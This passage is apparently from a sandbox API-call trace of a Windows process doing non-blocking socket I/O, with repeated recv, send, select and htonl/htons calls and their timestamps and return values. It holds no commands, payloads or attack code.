(in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3da7be10, dwHighDateTime=0x1d31ac1)) [0119.348] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.348] GetCurrentThreadId () returned 0x918 [0119.354] WSASetLastError (iError=0) [0119.354] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.354] SetLastError (dwErrCode=0x0) [0119.354] WSASetLastError (iError=0) [0119.354] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.354] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.354] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.354] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.354] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.354] htons (hostshort=0x0) returned 0x0 [0119.354] htons (hostshort=0x3393) returned 0x9333 [0119.354] htons (hostshort=0xf201) returned 0x1f2 [0119.354] htons (hostshort=0x0) returned 0x0 [0119.354] htons (hostshort=0x3393) returned 0x9333 [0119.354] htons (hostshort=0xf201) returned 0x1f2 [0119.354] htons (hostshort=0x0) returned 0x0 [0119.354] htons (hostshort=0x9333) returned 0x3393 [0119.354] htons (hostshort=0x1f2) returned 0xf201 [0119.354] htons (hostshort=0x0) returned 0x0 [0119.354] htons (hostshort=0x3393) returned 0x9333 [0119.354] htons (hostshort=0xf201) returned 0x1f2 [0119.354] htons (hostshort=0x0) returned 0x0 [0119.354] htons (hostshort=0x3393) returned 0x9333 [0119.354] htons (hostshort=0xf201) returned 0x1f2 [0119.354] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.354] htons (hostshort=0x0) returned 0x0 [0119.354] htons (hostshort=0x3393) returned 0x9333 [0119.354] htons (hostshort=0xf201) returned 0x1f2 [0119.354] htons (hostshort=0x0) returned 0x0 [0119.354] htons (hostshort=0x3393) returned 0x9333 [0119.354] htons (hostshort=0xf201) returned 0x1f2 [0119.354] htons (hostshort=0x0) returned 0x0 [0119.354] htons (hostshort=0x9333) returned 0x3393 [0119.354] htons (hostshort=0x1f2) returned 0xf201 [0119.354] htons (hostshort=0x0) returned 0x0 [0119.354] htons (hostshort=0x3393) returned 0x9333 [0119.354] htons (hostshort=0xf201) returned 0x1f2 [0119.354] htons (hostshort=0x0) returned 0x0 [0119.354] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x9333) returned 0x3393 [0119.355] htons (hostshort=0x1f2) returned 0xf201 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x9333) returned 0x3393 [0119.355] htons (hostshort=0x1f2) returned 0xf201 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x9333) returned 0x3393 [0119.355] htons (hostshort=0x1f2) returned 0xf201 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.355] htons (hostshort=0x3393) returned 0x9333 [0119.355] htons (hostshort=0xf201) returned 0x1f2 [0119.355] htons (hostshort=0x0) returned 0x0 [0119.356] htons (hostshort=0x3393) returned 0x9333 [0119.356] htons (hostshort=0xf201) returned 0x1f2 [0119.356] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.356] htons (hostshort=0x0) returned 0x0 [0119.356] htons (hostshort=0x3393) returned 0x9333 [0119.356] htons (hostshort=0xf201) returned 0x1f2 [0119.356] htons (hostshort=0x0) returned 0x0 [0119.356] htons (hostshort=0x3393) returned 0x9333 [0119.356] htons (hostshort=0xf201) returned 0x1f2 [0119.356] htons (hostshort=0x0) returned 0x0 [0119.356] htons (hostshort=0x9333) returned 0x3393 [0119.356] htons (hostshort=0x1f2) returned 0xf201 [0119.356] htons (hostshort=0x0) returned 0x0 [0119.356] htons (hostshort=0x3393) returned 0x9333 [0119.356] htons (hostshort=0xf201) returned 0x1f2 [0119.356] htons (hostshort=0x0) returned 0x0 [0119.356] htons (hostshort=0x3393) returned 0x9333 [0119.356] htons (hostshort=0xf201) returned 0x1f2 [0119.356] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.356] htons (hostshort=0x0) returned 0x0 [0119.356] htons (hostshort=0x3393) returned 0x9333 [0119.356] htons (hostshort=0xf201) returned 0x1f2 [0119.356] htons (hostshort=0x0) returned 0x0 [0119.356] htons (hostshort=0x3393) returned 0x9333 [0119.356] htons (hostshort=0xf201) returned 0x1f2 [0119.356] htons (hostshort=0x0) returned 0x0 [0119.356] htons (hostshort=0x9333) returned 0x3393 [0119.356] htons (hostshort=0x1f2) returned 0xf201 [0119.356] htons (hostshort=0x0) returned 0x0 [0119.356] htons (hostshort=0x3393) returned 0x9333 [0119.356] htons (hostshort=0xf201) returned 0x1f2 [0119.356] htons (hostshort=0x0) returned 0x0 [0119.356] htons (hostshort=0x3393) returned 0x9333 [0119.356] htons (hostshort=0xf201) returned 0x1f2 [0119.356] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.356] WSASetLastError (iError=0) [0119.356] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.357] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.357] rand () returned 12382 [0119.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3da7be10, dwHighDateTime=0x1d31ac1)) [0119.357] WSASetLastError (iError=0) [0119.357] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.357] SetLastError (dwErrCode=0x0) [0119.357] WSASetLastError (iError=0) [0119.357] recv (in: s=0x1d4, buf=0x865668, len=536, flags=0 | out: buf=0x865668*) returned 536 [0119.357] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.357] rand () returned 17421 [0119.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3da7be10, dwHighDateTime=0x1d31ac1)) [0119.357] WSASetLastError (iError=0) [0119.357] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.357] SetLastError (dwErrCode=0x0) [0119.357] WSASetLastError (iError=0) [0119.357] recv (in: s=0x1d4, buf=0x865668, len=3560, flags=0 | out: buf=0x865668*) returned 3560 [0119.357] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.357] rand () returned 18716 [0119.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3da7be10, dwHighDateTime=0x1d31ac1)) [0119.357] WSASetLastError (iError=0) [0119.357] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.357] SetLastError (dwErrCode=0x0) [0119.357] WSASetLastError (iError=0) [0119.357] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.357] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.357] rand () returned 19718 [0119.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3da7be10, dwHighDateTime=0x1d31ac1)) [0119.357] WSASetLastError (iError=0) [0119.357] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.358] SetLastError (dwErrCode=0x0) [0119.358] WSASetLastError (iError=0) [0119.358] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 2448 [0119.358] SetLastError (dwErrCode=0x0) [0119.358] WSASetLastError (iError=0) [0119.358] recv (in: s=0x1d4, buf=0x865ff8, len=1624, flags=0 | out: buf=0x865ff8) returned -1 [0119.358] WSAGetLastError () returned 10035 [0119.358] GetCurrentThreadId () returned 0x918 [0119.358] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.391] rand () returned 19895 [0119.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dac80d0, dwHighDateTime=0x1d31ac1)) [0119.391] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.391] GetCurrentThreadId () returned 0x918 [0119.392] WSASetLastError (iError=0) [0119.392] recv (in: s=0x1d4, buf=0x865ff8, len=1624, flags=0 | out: buf=0x865ff8*) returned 1624 [0119.392] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.392] rand () returned 5447 [0119.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dac80d0, dwHighDateTime=0x1d31ac1)) [0119.392] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.392] GetCurrentThreadId () returned 0x918 [0119.392] WSASetLastError (iError=0) [0119.392] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.392] SetLastError (dwErrCode=0x0) [0119.392] WSASetLastError (iError=0) [0119.392] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.392] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.392] rand () returned 21726 [0119.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dac80d0, dwHighDateTime=0x1d31ac1)) [0119.392] WSASetLastError (iError=0) [0119.392] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.392] SetLastError (dwErrCode=0x0) [0119.392] WSASetLastError (iError=0) [0119.392] recv (in: s=0x1d4, buf=0x865668, len=792, flags=0 | out: buf=0x865668*) returned 792 [0119.393] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.393] rand () returned 14771 [0119.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dac80d0, dwHighDateTime=0x1d31ac1)) [0119.393] WSASetLastError (iError=0) [0119.393] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.393] SetLastError (dwErrCode=0x0) [0119.393] WSASetLastError (iError=0) [0119.393] recv (in: s=0x1d4, buf=0x865668, len=3304, flags=0 | out: buf=0x865668*) returned 3304 [0119.393] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.393] rand () returned 11538 [0119.393] rand () returned 1869 [0119.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dac80d0, dwHighDateTime=0x1d31ac1)) [0119.393] WSASetLastError (iError=0) [0119.393] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.393] SetLastError (dwErrCode=0x0) [0119.393] WSASetLastError (iError=0) [0119.393] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3256 [0119.393] SetLastError (dwErrCode=0x0) [0119.393] WSASetLastError (iError=0) [0119.393] recv (in: s=0x1d4, buf=0x866320, len=816, flags=0 | out: buf=0x866320) returned -1 [0119.394] WSAGetLastError () returned 10035 [0119.394] GetCurrentThreadId () returned 0x918 [0119.394] WSASetLastError (iError=0) [0119.394] send (in: s=0x1d4, buf=0x8697b3*, len=1057, flags=0 | out: buf=0x8697b3*) returned 1057 [0119.394] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.394] rand () returned 19912 [0119.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dac80d0, dwHighDateTime=0x1d31ac1)) [0119.394] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.394] GetCurrentThreadId () returned 0x918 [0119.394] WSASetLastError (iError=0) [0119.394] recv (in: s=0x1d4, buf=0x866320, len=816, flags=0 | out: buf=0x866320*) returned 816 [0119.394] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.394] rand () returned 25667 [0119.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dac80d0, dwHighDateTime=0x1d31ac1)) [0119.394] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.394] GetCurrentThreadId () returned 0x918 [0119.394] WSASetLastError (iError=0) [0119.394] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.394] SetLastError (dwErrCode=0x0) [0119.394] WSASetLastError (iError=0) [0119.394] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3535 [0119.394] SetLastError (dwErrCode=0x0) [0119.394] WSASetLastError (iError=0) [0119.394] recv (in: s=0x1d4, buf=0x866437, len=537, flags=0 | out: buf=0x866437) returned -1 [0119.395] WSAGetLastError () returned 10035 [0119.395] GetCurrentThreadId () returned 0x918 [0119.395] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3daee230, dwHighDateTime=0x1d31ac1)) [0119.395] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.395] rand () returned 26299 [0119.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3daee230, dwHighDateTime=0x1d31ac1)) [0119.395] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.395] GetCurrentThreadId () returned 0x918 [0119.395] WSASetLastError (iError=0) [0119.395] recv (in: s=0x1d4, buf=0x866437, len=537, flags=0 | out: buf=0x866437*) returned 537 [0119.395] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.395] rand () returned 17035 [0119.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3daee230, dwHighDateTime=0x1d31ac1)) [0119.395] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.395] GetCurrentThreadId () returned 0x918 [0119.395] WSASetLastError (iError=0) [0119.395] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.396] SetLastError (dwErrCode=0x0) [0119.396] WSASetLastError (iError=0) [0119.396] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3814 [0119.396] SetLastError (dwErrCode=0x0) [0119.396] WSASetLastError (iError=0) [0119.396] recv (in: s=0x1d4, buf=0x86654e, len=258, flags=0 | out: buf=0x86654e) returned -1 [0119.396] WSAGetLastError () returned 10035 [0119.396] GetCurrentThreadId () returned 0x918 [0119.396] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.396] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.396] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.396] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.396] rand () returned 9894 [0119.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3daee230, dwHighDateTime=0x1d31ac1)) [0119.396] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.396] GetCurrentThreadId () returned 0x918 [0119.396] WSASetLastError (iError=0) [0119.396] recv (in: s=0x1d4, buf=0x86654e, len=258, flags=0 | out: buf=0x86654e*) returned 258 [0119.397] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.397] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.397] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.397] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.397] htons (hostshort=0x0) returned 0x0 [0119.397] htons (hostshort=0x3393) returned 0x9333 [0119.397] htons (hostshort=0xf201) returned 0x1f2 [0119.397] htons (hostshort=0x0) returned 0x0 [0119.397] htons (hostshort=0x3393) returned 0x9333 [0119.397] htons (hostshort=0xf201) returned 0x1f2 [0119.397] htons (hostshort=0x0) returned 0x0 [0119.397] htons (hostshort=0x9333) returned 0x3393 [0119.397] htons (hostshort=0x1f2) returned 0xf201 [0119.397] htons (hostshort=0x0) returned 0x0 [0119.397] htons (hostshort=0x3393) returned 0x9333 [0119.397] htons (hostshort=0xf201) returned 0x1f2 [0119.397] htons (hostshort=0x0) returned 0x0 [0119.397] htons (hostshort=0x3393) returned 0x9333 [0119.397] htons (hostshort=0xf201) returned 0x1f2 [0119.397] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.397] htons (hostshort=0x0) returned 0x0 [0119.397] htons (hostshort=0x3393) returned 0x9333 [0119.397] htons (hostshort=0xf201) returned 0x1f2 [0119.397] htons (hostshort=0x0) returned 0x0 [0119.397] htons (hostshort=0x3393) returned 0x9333 [0119.397] htons (hostshort=0xf201) returned 0x1f2 [0119.397] htons (hostshort=0x0) returned 0x0 [0119.397] htons (hostshort=0x9333) returned 0x3393 [0119.397] htons (hostshort=0x1f2) returned 0xf201 [0119.397] htons (hostshort=0x0) returned 0x0 [0119.397] htons (hostshort=0x3393) returned 0x9333 [0119.397] htons (hostshort=0xf201) returned 0x1f2 [0119.397] htons (hostshort=0x0) returned 0x0 [0119.397] htons (hostshort=0x3393) returned 0x9333 [0119.397] htons (hostshort=0xf201) returned 0x1f2 [0119.397] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.397] htons (hostshort=0x0) returned 0x0 [0119.397] htons (hostshort=0x3393) returned 0x9333 [0119.398] htons (hostshort=0xf201) returned 0x1f2 [0119.398] htons (hostshort=0x0) returned 0x0 [0119.398] htons (hostshort=0x3393) returned 0x9333 [0119.398] htons (hostshort=0xf201) returned 0x1f2 [0119.398] htons (hostshort=0x0) returned 0x0 [0119.398] htons (hostshort=0x9333) returned 0x3393 [0119.398] htons (hostshort=0x1f2) returned 0xf201 [0119.398] htons (hostshort=0x0) returned 0x0 [0119.398] htons (hostshort=0x3393) returned 0x9333 [0119.398] htons (hostshort=0xf201) returned 0x1f2 [0119.398] htons (hostshort=0x0) returned 0x0 [0119.398] htons (hostshort=0x3393) returned 0x9333 [0119.398] htons (hostshort=0xf201) returned 0x1f2 [0119.398] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.398] htons (hostshort=0x0) returned 0x0 [0119.398] htons (hostshort=0x3393) returned 0x9333 [0119.398] htons (hostshort=0xf201) returned 0x1f2 [0119.398] htons (hostshort=0x0) returned 0x0 [0119.398] htons (hostshort=0x3393) returned 0x9333 [0119.398] htons (hostshort=0xf201) returned 0x1f2 [0119.398] htons (hostshort=0x0) returned 0x0 [0119.398] htons (hostshort=0x9333) returned 0x3393 [0119.398] htons (hostshort=0x1f2) returned 0xf201 [0119.398] htons (hostshort=0x0) returned 0x0 [0119.398] htons (hostshort=0x3393) returned 0x9333 [0119.398] htons (hostshort=0xf201) returned 0x1f2 [0119.398] htons (hostshort=0x0) returned 0x0 [0119.398] htons (hostshort=0x3393) returned 0x9333 [0119.398] htons (hostshort=0xf201) returned 0x1f2 [0119.398] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.398] htons (hostshort=0x0) returned 0x0 [0119.398] htons (hostshort=0x3393) returned 0x9333 [0119.399] htons (hostshort=0xf201) returned 0x1f2 [0119.399] htons (hostshort=0x0) returned 0x0 [0119.399] htons (hostshort=0x3393) returned 0x9333 [0119.399] htons (hostshort=0xf201) returned 0x1f2 [0119.399] htons (hostshort=0x0) returned 0x0 [0119.399] htons (hostshort=0x9333) returned 0x3393 [0119.399] htons (hostshort=0x1f2) returned 0xf201 [0119.399] htons (hostshort=0x0) returned 0x0 [0119.399] htons (hostshort=0x3393) returned 0x9333 [0119.399] htons (hostshort=0xf201) returned 0x1f2 [0119.399] htons (hostshort=0x0) returned 0x0 [0119.399] htons (hostshort=0x3393) returned 0x9333 [0119.399] htons (hostshort=0xf201) returned 0x1f2 [0119.399] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.399] htons (hostshort=0x0) returned 0x0 [0119.399] htons (hostshort=0x3393) returned 0x9333 [0119.399] htons (hostshort=0xf201) returned 0x1f2 [0119.399] htons (hostshort=0x0) returned 0x0 [0119.399] htons (hostshort=0x3393) returned 0x9333 [0119.399] htons (hostshort=0xf201) returned 0x1f2 [0119.399] htons (hostshort=0x0) returned 0x0 [0119.399] htons (hostshort=0x9333) returned 0x3393 [0119.399] htons (hostshort=0x1f2) returned 0xf201 [0119.399] htons (hostshort=0x0) returned 0x0 [0119.399] htons (hostshort=0x3393) returned 0x9333 [0119.399] htons (hostshort=0xf201) returned 0x1f2 [0119.400] htons (hostshort=0x0) returned 0x0 [0119.400] htons (hostshort=0x3393) returned 0x9333 [0119.400] htons (hostshort=0xf201) returned 0x1f2 [0119.400] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.400] htons (hostshort=0x0) returned 0x0 [0119.400] htons (hostshort=0x3393) returned 0x9333 [0119.400] htons (hostshort=0xf201) returned 0x1f2 [0119.400] htons (hostshort=0x0) returned 0x0 [0119.400] htons (hostshort=0x3393) returned 0x9333 [0119.400] htons (hostshort=0xf201) returned 0x1f2 [0119.400] htons (hostshort=0x0) returned 0x0 [0119.400] htons (hostshort=0x9333) returned 0x3393 [0119.400] htons (hostshort=0x1f2) returned 0xf201 [0119.400] htons (hostshort=0x0) returned 0x0 [0119.400] htons (hostshort=0x3393) returned 0x9333 [0119.400] htons (hostshort=0xf201) returned 0x1f2 [0119.400] htons (hostshort=0x0) returned 0x0 [0119.400] htons (hostshort=0x3393) returned 0x9333 [0119.400] htons (hostshort=0xf201) returned 0x1f2 [0119.400] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.400] htons (hostshort=0x0) returned 0x0 [0119.400] htons (hostshort=0x3393) returned 0x9333 [0119.400] htons (hostshort=0xf201) returned 0x1f2 [0119.400] htons (hostshort=0x0) returned 0x0 [0119.400] htons (hostshort=0x3393) returned 0x9333 [0119.400] htons (hostshort=0xf201) returned 0x1f2 [0119.400] htons (hostshort=0x0) returned 0x0 [0119.400] htons (hostshort=0x9333) returned 0x3393 [0119.400] htons (hostshort=0x1f2) returned 0xf201 [0119.400] htons (hostshort=0x0) returned 0x0 [0119.400] htons (hostshort=0x3393) returned 0x9333 [0119.400] htons (hostshort=0xf201) returned 0x1f2 [0119.400] htons (hostshort=0x0) returned 0x0 [0119.400] htons (hostshort=0x3393) returned 0x9333 [0119.400] htons (hostshort=0xf201) returned 0x1f2 [0119.400] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.400] rand () returned 28703 [0119.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3daee230, dwHighDateTime=0x1d31ac1)) [0119.400] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.401] GetCurrentThreadId () returned 0x918 [0119.401] WSASetLastError (iError=0) [0119.401] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.401] SetLastError (dwErrCode=0x0) [0119.401] WSASetLastError (iError=0) [0119.401] recv (in: s=0x1d4, buf=0x865668, len=1048, flags=0 | out: buf=0x865668*) returned 1048 [0119.401] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.401] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.401] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.401] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.401] htons (hostshort=0x0) returned 0x0 [0119.401] htons (hostshort=0x3393) returned 0x9333 [0119.401] htons (hostshort=0xf201) returned 0x1f2 [0119.401] htons (hostshort=0x0) returned 0x0 [0119.401] htons (hostshort=0x3393) returned 0x9333 [0119.401] htons (hostshort=0xf201) returned 0x1f2 [0119.402] htons (hostshort=0x0) returned 0x0 [0119.402] htons (hostshort=0x9333) returned 0x3393 [0119.402] htons (hostshort=0x1f2) returned 0xf201 [0119.402] htons (hostshort=0x0) returned 0x0 [0119.402] htons (hostshort=0x3393) returned 0x9333 [0119.402] htons (hostshort=0xf201) returned 0x1f2 [0119.402] htons (hostshort=0x0) returned 0x0 [0119.402] htons (hostshort=0x3393) returned 0x9333 [0119.402] htons (hostshort=0xf201) returned 0x1f2 [0119.402] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.402] htons (hostshort=0x0) returned 0x0 [0119.402] htons (hostshort=0x3393) returned 0x9333 [0119.402] htons (hostshort=0xf201) returned 0x1f2 [0119.402] htons (hostshort=0x0) returned 0x0 [0119.402] htons (hostshort=0x3393) returned 0x9333 [0119.402] htons (hostshort=0xf201) returned 0x1f2 [0119.402] htons (hostshort=0x0) returned 0x0 [0119.402] htons (hostshort=0x9333) returned 0x3393 [0119.402] htons (hostshort=0x1f2) returned 0xf201 [0119.402] htons (hostshort=0x0) returned 0x0 [0119.402] htons (hostshort=0x3393) returned 0x9333 [0119.402] htons (hostshort=0xf201) returned 0x1f2 [0119.402] htons (hostshort=0x0) returned 0x0 [0119.402] htons (hostshort=0x3393) returned 0x9333 [0119.402] htons (hostshort=0xf201) returned 0x1f2 [0119.402] select (in: nfds=3, readfds=0x8495f8, 